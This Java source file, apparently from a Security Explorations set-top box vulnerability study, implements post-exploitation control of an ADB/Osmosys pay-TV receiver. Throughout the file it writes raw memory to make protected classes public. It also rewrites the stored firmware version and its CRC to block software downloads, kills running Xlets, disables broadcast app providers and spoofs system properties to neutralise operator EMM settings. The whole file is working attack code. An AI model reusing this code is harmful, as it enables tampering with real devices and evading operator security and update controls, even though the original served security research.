/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.lang.reflect.*;
import java.util.*;
import tv.osmosys.application.*;
import tv.osmosys.application.ait.*;
import tv.osmosys.memwatch.*;
import org.dvb.application.*;

public class STBIsolate {
 public static class PropsMonitor implements a.a.G {
  static Object org_dispatch;
  static Method getProperty;
  static boolean running;
 
  public int setProperty(String prop, String val) {
   ApiMonitor.log("PropsMonitor: ignoring setProperty "+prop+" = "+val);
   return 0;
  }

  public String getProperty(String prop) {
   String val=null;

   try {
    if (Spoof.should_spoof(prop)) {
     ApiMonitor.log("PropsMonitor: spoofing getProperty "+prop);

     val=Spoof.get_prop(prop);

     ApiMonitor.log("              "+prop+" = "+val);
    } else {
     ApiMonitor.log("PropsMonitor: proxying getProperty "+prop);

     Object args[]=new Object[1];
     args[0]=prop;
    
     val=(String)getProperty.invoke(org_dispatch,args);

     ApiMonitor.log("              "+prop+" = "+val);
    }
   } catch(Throwable t) {}

   return val;
  }

  public int d(String prop) {
   ApiMonitor.log("PropsMonitor: ignoring removeProperty "+prop);
   return 0;
  }  

  public static void start() {
   try {
    Class c=Class.forName("a.a.E");
    ApiMonitor.log("c "+c);

    Field f=c.getDeclaredField("ax");
    f.setAccessible(true);

    Object cur_dispatch=f.get(null);

    if (cur_dispatch instanceof PropsMonitor) return;

    org_dispatch=cur_dispatch;

    c=Class.forName("a.a.G");
    Class ctab[]=new Class[1];
    ctab[0]=Class.forName("java.lang.String");

    getProperty=c.getMethod("getProperty",ctab);
    ApiMonitor.log("getProperty: "+getProperty);

    f.set(null,new PropsMonitor());
   } catch(Throwable t) {
   }
  }
 }

 public static final String APP_CONFIG_PROP = "iti.app.config";

 public static final int ORG_APP_VER        = 0x50; 
 public static final String ORG_APP_CONFIG  = "0x10"; 

 public static final int FAKE_APP_VER       = 0x7fff; 
 public static final String FAKE_APP_CONFIG = "0x06";

 public static final String safe_xlets[]={
  "com.adb.gae.iticarbo.AppManagerImpl"
 };

 public static void change_app_ver(int ver) {
  int id=1;

  ApiMonitor.log("[IMAGE "+id+"]");

  int handle=Dl.open_flags("libstd_hl_strgmgr.so",Dl.RTLD_NOW|Dl.RTLD_NODELETE);
  ApiMonitor.log("libstd_hl_strgmgr.so "+Utils.hex_value(handle,8));
  
  int LOGIC_Images=Dl.getsym(handle,"STORAGE_LOGIC_Images");
  ApiMonitor.log("STORAGE_LOGIC_Images "+Utils.hex_value(LOGIC_Images,8));

  int handle2=Dl.open_flags("libstd_hl_hmgr.so",Dl.RTLD_NOW|Dl.RTLD_NODELETE);
  ApiMonitor.log("libstd_hl_hmgr.so "+Utils.hex_value(handle2,8));
  
  int HMGR_GetId=Dl.getsym(handle2,"HMGR_GetId");
  ApiMonitor.log("HMGR_GetId "+Utils.hex_value(HMGR_GetId,8));

  int HMGR_GetNo=Dl.getsym(handle2,"HMGR_GetNo");
  ApiMonitor.log("HMGR_GetNo "+Utils.hex_value(HMGR_GetNo,8));

  int handle3=Dl.open_flags("libstd_hl_storage.so",Dl.RTLD_NOW|Dl.RTLD_NODELETE);
  ApiMonitor.log("libstd_hl_storage.so "+Utils.hex_value(handle3,8));
  
  int STD_DataRead=Dl.getsym(handle3,"STORAGE_STD_DataRead");
  ApiMonitor.log("STORAGE_STD_DataRead "+Utils.hex_value(STD_DataRead,8));

  int STD_DataWrite=Dl.getsym(handle3,"STORAGE_STD_DataWrite");
  ApiMonitor.log("STORAGE_STD_DataWrite "+Utils.hex_value(STD_DataWrite,8));

  int handle4=Dl.open_flags("libstd_drv_crc.so",Dl.RTLD_NOW|Dl.RTLD_NODELETE);
  ApiMonitor.log("libstd_drv_crc.so "+Utils.hex_value(handle4,8));

  int CRC_Code16=Dl.getsym(handle4,"CRC_Code16");
  ApiMonitor.log("CRC_Code16 "+Utils.hex_value(CRC_Code16,8));
  //end dl lookup stuff

  int sli=NativeCode.getInstance().invoke(LOGIC_Images,0,0,0,0,0,0,0,0);
  ApiMonitor.log("STORAGE_LOGIC_Images res "+Utils.hex_value(sli,8));

  int addr=NativeCode.getInstance().invoke(HMGR_GetId,sli,id,0,0,0,0,0,0);
  ApiMonitor.log("HMGR_GetId res "+Utils.hex_value(addr,8));

  if (addr!=0) {
   addr=NativeCode.getInstance().invoke(HMGR_GetNo,addr,0,0,0,0,0,0,0);
   ApiMonitor.log("HMGR_GetNo res "+Utils.hex_value(addr,8));

   addr=Memory.read_dword(addr+8);

   ApiMonitor.log("addr "+Utils.hex_value(addr,8));

   byte tab[]=Utils.buf2barray(addr,0x30);
   ApiMonitor.log_buf(tab);

   int buf_100=NativeCode.getInstance().malloc(0x100);
   Utils.memset(buf_100,0,0x100);

   int res=NativeCode.getInstance().invoke(STD_DataRead,addr,0,buf_100,0x100,0,0,0,0);
   ApiMonitor.log("STORAGE_STD_DataRead res "+Utils.hex_value(res,8));

   ApiMonitor.log("buf_100 "+Utils.hex_value(buf_100,8));

   tab=Utils.buf2barray(buf_100,0x100);
   ApiMonitor.log_buf(tab);

   int size=Memory.read_word(buf_100+2);

   //set new app version
   Memory.write_byte(buf_100+6,ver);

   //calc checksum
   int crc=NativeCode.getInstance().invoke(CRC_Code16,buf_100+2,size+2,0,0x100,0,0,0,0);
   ApiMonitor.log("crc "+Utils.hex_value(crc,8));

   Memory.write_byte(buf_100+0,crc&0xff);
   Memory.write_byte(buf_100+1,(crc>>8)&0xff);

   ApiMonitor.log("CHANGED BUF");
   tab=Utils.buf2barray(buf_100,0x100);
   ApiMonitor.log_buf(tab);

   res=NativeCode.getInstance().invoke(STD_DataWrite,addr,0,buf_100,0x100,0,0,0,0);
   ApiMonitor.log("STORAGE_STD_DataWrite res "+Utils.hex_value(res,8));
  }
 }

 public static void stb_set_prop(String prop,String val) {
  try {
   Class c=Class.forName("tv.osmosys.tci.system.StbData");

   Class ctab[]=new Class[2];
   ctab[0]=Class.forName("java.lang.String");
   ctab[1]=Class.forName("java.lang.String");

   Method setp=c.getMethod("setProperty",ctab);

   Object args[]=new Object[2];
   args[0]=prop;
   args[1]=val;

   setp.invoke(null,args); 

   ApiMonitor.log("property "+prop+" set");
  } catch(Throwable t) {
   ApiMonitor.log("exc: "+t);
  }
 }

 public static boolean safe_xlet(String clazz) {
  for(int i=0;i<safe_xlets.length;i++) {
   if (safe_xlets[i].equals(clazz)) return true;
  }

  return false;  
 }

 public static void terminate_xlets() throws Throwable {
  AppManager appmgr=AppManager.getInstance();
  ApiMonitor.log("appmgr "+appmgr);

  Class c=Class.forName("tv.osmosys.application.AppManager$RunningApplicationsAlwaysVisibleFilter");
  Object appfilter=c.newInstance();

  Enumeration e=appmgr.getAppIDs((AppsDatabaseFilter)appfilter);//new RunningAppFilter());

  while(e.hasMoreElements()) {
   AppID appid=(AppID)e.nextElement();
   ApiMonitor.log("appid: "+appid);

   XletAppAttributes attributes=appmgr.getEffectiveAppAttributes(appid);

   ApiMonitor.log("attributes: "+attributes);

   if (attributes!=null) {
    AppProxy appproxy=appmgr.getAppProxy(appid);
    ApiMonitor.log("appproxy: "+appproxy);

    if (appproxy!=null) {
     int state=appproxy.getState();
     ApiMonitor.log("state: "+XletAppProxy.stateName(state));

     Field f=appproxy.getClass().getDeclaredField("appinst");
     f.setAccessible(true);

     Object appinst=f.get(appproxy);
     ApiMonitor.log("appinst: "+appinst);

     f=appinst.getClass().getDeclaredField("theAppTV");
     f.setAccessible(true);

     Object xlet=f.get(appinst);
     ApiMonitor.log("xlet: "+xlet); 

     if (state==0) {
      if (!safe_xlet(xlet.getClass().getName())) {
       Output.text("  appid: "+appid+" xlet "+appinst);

       attributes.setControlCode(4);//KILL

       appproxy.stop(false);
       ApiMonitor.log(" stopping"); 

       int aid=appid.getAID();
       int oid=appid.getOID();

       MemWatch.processAppKill(aid,oid);

       Method quitXlet=appinst.getClass().getDeclaredMethod("quitXlet",new Class[0]);
       quitXlet.setAccessible(true);

       quitXlet.invoke(appinst,new Object[0]);
      }
     }
    }
   }
  }
 }

 public static void disable_providers() throws Throwable {
  AppManager appmgr=AppManager.getInstance();
  Class c=appmgr.getClass();

  Field f=c.getDeclaredField("appsProviders");
  f.setAccessible(true);

  AppsProvider providers[]=(AppsProvider[])f.get(appmgr);

  for(int i=0;i<providers.length;i++) {
   AppsProvider provider=providers[i];

   ApiMonitor.log(" provider: "+provider);
   provider.enableAutostart(false);  

   if (provider instanceof AppsProviderGeneric) {
    c=Class.forName("tv.osmosys.application.AppsProviderGeneric");
    f=c.getDeclaredField("m_vAitProviders");
    f.setAccessible(true);

    ArrayList arraylist=(ArrayList)f.get(provider);

    for(int j=0;j<arraylist.size();j++) {
     IAitProvider aitprovider=(IAitProvider)arraylist.get(j);
     ApiMonitor.log("  - aitprovider: "+aitprovider);
     aitprovider.stopProviding();
     aitprovider.dispose();
     ApiMonitor.log("    disabled");

     Output.text("  aitprovider: "+aitprovider);
    }
   }
  }
 }

 public static void disable_stb_settings() throws Throwable {
  Object g_class=Class.forName("a.a.G");

  int addr=Helper.getaddr(g_class);

  int clazz=Memory.read_dword(addr+0x08);

  int flags=Memory.read_word(clazz+0x28);
  flags|=0x01; //set class access as public
  Memory.write_dword(clazz+0x28,flags);
  
  PropsMonitor.start();
 }

 public static int app_ver() {
  String sver=SysEnv.stb_get_prop("ldr.img.app.ver.short");
  if (sver.startsWith("0X")) sver=sver.substring(2);

  int ver=Integer.parseInt(sver,0x10);

  return ver;
 }

 public static void enable() throws Throwable {
  Output.text("- disabling SW download");
  int app_ver=FAKE_APP_VER;

  int cur_ver=app_ver();

  if ((app_ver&0xff)!=cur_ver) {
   change_app_ver(app_ver);
  }

  int ver_set=app_ver();

  if ((app_ver&0xff)==ver_set) {
   Output.text("  OK");
  }

  Output.text("- modyfing box config");
  String config=FAKE_APP_CONFIG;
  stb_set_prop(APP_CONFIG_PROP,config);    

  String scfg=SysEnv.stb_get_prop(APP_CONFIG_PROP);

  if (scfg.equals(config)) {
   Output.text("  OK");
  }    

  Output.text("- terminating Xlets");
  terminate_xlets();

  Output.text("- disabling providers");
  disable_providers();

  Output.text("- disabling ADB EMM settings");
  disable_stb_settings();
  Output.text("  OK");
 }
}
